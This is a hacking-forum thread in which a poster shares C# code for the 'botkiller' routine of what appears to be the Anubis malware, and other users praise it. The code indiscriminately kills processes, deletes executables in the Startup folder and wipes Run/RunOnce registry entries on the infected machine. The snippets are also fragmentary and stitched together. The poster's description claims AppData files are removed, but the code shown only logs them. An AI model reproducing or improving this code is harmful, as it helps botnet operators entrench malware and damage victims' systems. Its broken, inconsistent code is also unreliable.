

Forum:[Hack Forums](#)

Thread: [Rate Anubis's botkiller function](#)

Py_Dev - January 15, 2025, 5:19 pm

Code //BK

```
public class Removal
{
    public static string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

    public static async Task ScanThreadAsync()
    {
        try
        {
            await KillRunningProcessesAsync();
            await RemoveStartupFolderFilesAsync();
            await RemoveMaliciousRegistryKeysAsync();
            await ScanAppDataAsync();
        }
        catch
        {
        }
    }
}

private static async Task KillRunningProcessesAsync()
{
    int currentProcessId = Process.GetCurrentProcess().Id;

    await Task.Run(() =>
    {
        foreach (var process in Process.GetProcesses())
        {
            try
            {
                if (process.Id != currentProcessId &&
                    !Inspection(process.MainModule?.FileName))
                {
                    process.Kill();
                }
            }
            catch
            {
            }
        }
    });
}

private static async Task RemoveStartupFolderFilesAsync()
```

```

{
    string botkillerExe = Process.GetCurrentProcess().MainModule.FileName;

    var files = await Task.Run(() => Directory.GetFiles(startup, "*.exe"));
    foreach (var file in files)
    {
        try
        {
            if (!string.Equals(file, botkillerExe, StringComparison.OrdinalIgnoreCase))
            {
                File.Delete(file);
            }
        }
        catch
        {
        }
    }
}

private static async Task RemoveMaliciousRegistryKeysAsync()
{
    var registryPaths = new[]
    {
        @"Software\Microsoft\Windows\CurrentVersion\Run",
        @"Software\Microsoft\Windows\CurrentVersion\RunOnce"
    };

    foreach (var regPath in registryPaths)
    {
        await RemoveRegistryEntriesAsync(Microsoft.Win32.Registry.CurrentUser, regPath);
        await RemoveRegistryEntriesAsync(Microsoft.Win32.Registry.LocalMachine, regPath);
    }
}

private static async Task RemoveRegistryEntriesAsync(RegistryKey baseKey, string
subKeyPath)
{
    await Task.Run(() =>
    {
        try
        {
            string currentProcessPath = Process.GetCurrentProcess().MainModule.FileName;
            string keyName = "TaskHelper";

            using (var subKey = baseKey.OpenSubKey(subKeyPath, writable: true))
            {
                if (subKey != null)
                {
                    foreach (var valueName in subKey.GetValueNames())
                    {
                        var filePath = subKey.GetValue(valueName)?.ToString();

```



```

        return true;

        string appDataPath =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        string localAppDataPath =
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

        string[] suspiciousDirectories = new[]
        {
            Path.Combine(localAppDataPath, "Temp"),
            Path.Combine(appDataPath, "Temp"),
            Path.Combine(appDataPath, "Microsoft\\Windows")
        };

        if (suspiciousDirectories.Any(dir => filePath.StartsWith(dir,
StringComparison.OrdinalIgnoreCase)))
        {
            return false;
        }

        var fileInfo = new FileInfo(filePath);

        if (fileInfo.Length < 1024 || fileInfo.Length > 1L * 1024 * 1024 * 1024)
            return false;

        if (!fileInfo.Extension.Equals(".exe", StringComparison.OrdinalIgnoreCase) &&
            !fileInfo.Extension.Equals(".dll", StringComparison.OrdinalIgnoreCase) &&
            !fileInfo.Extension.Equals(".bat", StringComparison.OrdinalIgnoreCase) &&
            !fileInfo.Extension.Equals(".vbs", StringComparison.OrdinalIgnoreCase) &&
            !fileInfo.Extension.Equals(".js", StringComparison.OrdinalIgnoreCase))
            return true;

        if (!IsFileSigned(filePath))
            return false;

        if (fileInfo.CreationTime > DateTime.Now.AddHours(-1) ||
            fileInfo.LastWriteTime > DateTime.Now.AddHours(-1))
            return false;

        return true;
    }
    private static bool IsFileSigned(string filePath)
    {
        try
        {
            X509Certificate cert = X509Certificate.CreateFromSignedFile(filePath);

```

```

        if (cert != null)
        {
            X509Certificate2 cert2 = new X509Certificate2(cert);

            return cert2.Verify();
        }
    }
    catch
    {
    }

    return false;
}

private static async Task ScanAppDataAsync()
{
    string appDataPath =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
    string localAppDataPath =
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

    var files = Directory.EnumerateFiles(appDataPath, ".*", SearchOption.AllDirectories)
        .Concat(Directory.EnumerateFiles(localAppDataPath, ".*",
SearchOption.AllDirectories));

    await Task.Run(() =>
    {
        foreach (var file in files)
        {
            try
            {
                if (!Inspection(file))
                {
                    Console.WriteLine($"Suspicious file detected: {file}");
                }
            }
            catch
            {
            }
        }
    });
}
}

```

How It Works:

Kill Running Processes:

The KillRunningProcessesAsync method ensures that all the processes running on the system not associated with the botkiller program are killed. This is to ensure no malicious process may still run while the botkiller is deleting files and registry entries.

Delete Files in Startup Folder:

It removes all executables in the Startup folder, which would otherwise start up on system boot, to prevent malware from surviving across reboots. The current botkiller executable itself is excluded from deletion.

Registry Key Removal:

The program queries the registry for malicious entries that auto-start programs at login, such as those in the Run and RunOnce registry keys. It removes any entries that aren't the botkiller executable.

Suspicious File Scanning:

Scans files from the AppData and LocalAppData folders to ensure there are not suspicious or possible malware files inside of them, in terms of confirming file properties in terms of sizes, signature(s), dates, etc., which one may regard suspicious, and removing those regarded that way.

NullSector - January 16, 2025, 6:09 am

I gotta say, this is some nice work. The structure is clean, the logic is sound. leveraging async/await to keep things running smoothly without bottlenecking execution is pretty rad. Multi layered approach, It's not just scanning files or killing processes, it's handling persistence across multiple attack vectors/startupfolders/registry keys, and even active processes. That kind of thoroughness only comes from the fingertips of a legit pro DeV'r.

I see It checks against its own process ID before executing KillRunningProcessesAsync(), which is a smart way to avoid suiciding itself. The Inspection() function ensures it's not shutting down or ending everything, but still aggressive enough to wipe out unwanted processes. The way it's cleaning HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE registry keys from Run and RunOnce is pretty standard for malware cleanup, but what I like is that it loops through all registry values and deletes the ones that don't belong. That's an extra step a lot of "quick and dirty" cleaners skip. Kudos

Your AppData Scanning is actually one of my favorite parts. The fact that it doesn't just nuke off files, but instead runs them through Inspection() first, means it's at least attempting some level of filtering instead of just relying on brute deletion. Genius, in my opinion brother. Plus, it logs suspicious files instead of automatically deleting them, which is nice, now we can go over everything in good detail and potentially gain more knowledge. Instead of just assuming all .exe and .dll files are fair game, it actually checks if a file is signed with a valid certificate. That helps separate legit system files from rogue binaries. This is where the your special flare of wizardry came in ?

Overall, Short, sweet, to the point. Beautifully crafted bot killer. It's fast, efficient, and hits all the right areas processes, startup entries, registry keys, and AppData making it a well rounded cleaner. The digital signature validation again, another "not normal" feature. Beautiful.

To put things in perspective, I give this a solid 9-10 for a bot killer. Would love to see this evolve into something even more powerful. & take that full 10 to the bank. Beautiful work. ?

Py_Dev - January 16, 2025, 6:26 am

(Jan 16, 2025 07:09 AM)R00tReversalSSH Wrote: [\[CITE\]](#) I gotta say, this is some nice work. The structure is clean, the logic is sound. leveraging async/await to keep things running smoothly without bottlenecking execution is pretty rad. Multi layered approach, It's not just scanning files or killing processes, it's handling persistence across multiple attack vectors/startupfolders/registry keys, and even active processes. That kind of thoroughness only comes from the fingertips of a legit pro Dev'r.

I see It checks against its own process ID before executing KillRunningProcessesAsync(), which is a smart way to avoid suiciding itself. The Inspection() function ensures it's not shutting down or ending everything, but still aggressive enough to wipe out unwanted processes. The way it's cleaning HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE registry keys from Run and RunOnce is pretty standard for malware cleanup, but what I like is that it loops through all registry values and deletes the ones that don't belong. That's an extra step a lot of "quick and dirty" cleaners skip. Kudos

Your AppData Scanning is actually one of my favorite parts. The fact that it doesn't just nuke off files, but instead runs them through Inspection() first, means it's at least attempting some level of filtering instead of just relying on brute deletion. Genius, in my opinion brother. Plus, it logs suspicious files instead of automatically deleting them, which is nice, now we can go over everything in good detail and potentially gain more knowledge. Instead of just assuming all .exe and .dll files are fair game, it actually checks if a file is signed with a valid certificate. That helps separate legit system files from rogue binaries. This is where your special flare of wizardry came in ?

Overall, Short, sweet, to the point. Beautifully crafted bot killer. It's fast, efficient, and hits all the right areas processes, startup entries, registry keys, and AppData making it a well rounded cleaner. The digital signature validation again, another "not normal" feature. Beautiful.

To put things in perspective, I give this a solid 9-10 for a bot killer. Would love to see this evolve into something even more powerful. & take that full 10 to the bank. Beautiful work. ?

Thank you for the detailed report I worked pretty hard on this and am proud of it

NullSector - January 16, 2025, 6:37 am

(Jan 16, 2025 07:26 AM)Py_Dev Wrote: [\[CITE\]](#) Thank you for the detailed report I worked pretty hard on this and am proud of it

If you're going to be producing work like that,,, you truly should be proud. I may even want to pick your brain sometime my friend. Nice work, and if you have anything else to post and need a review, I would be honored to go over it for you.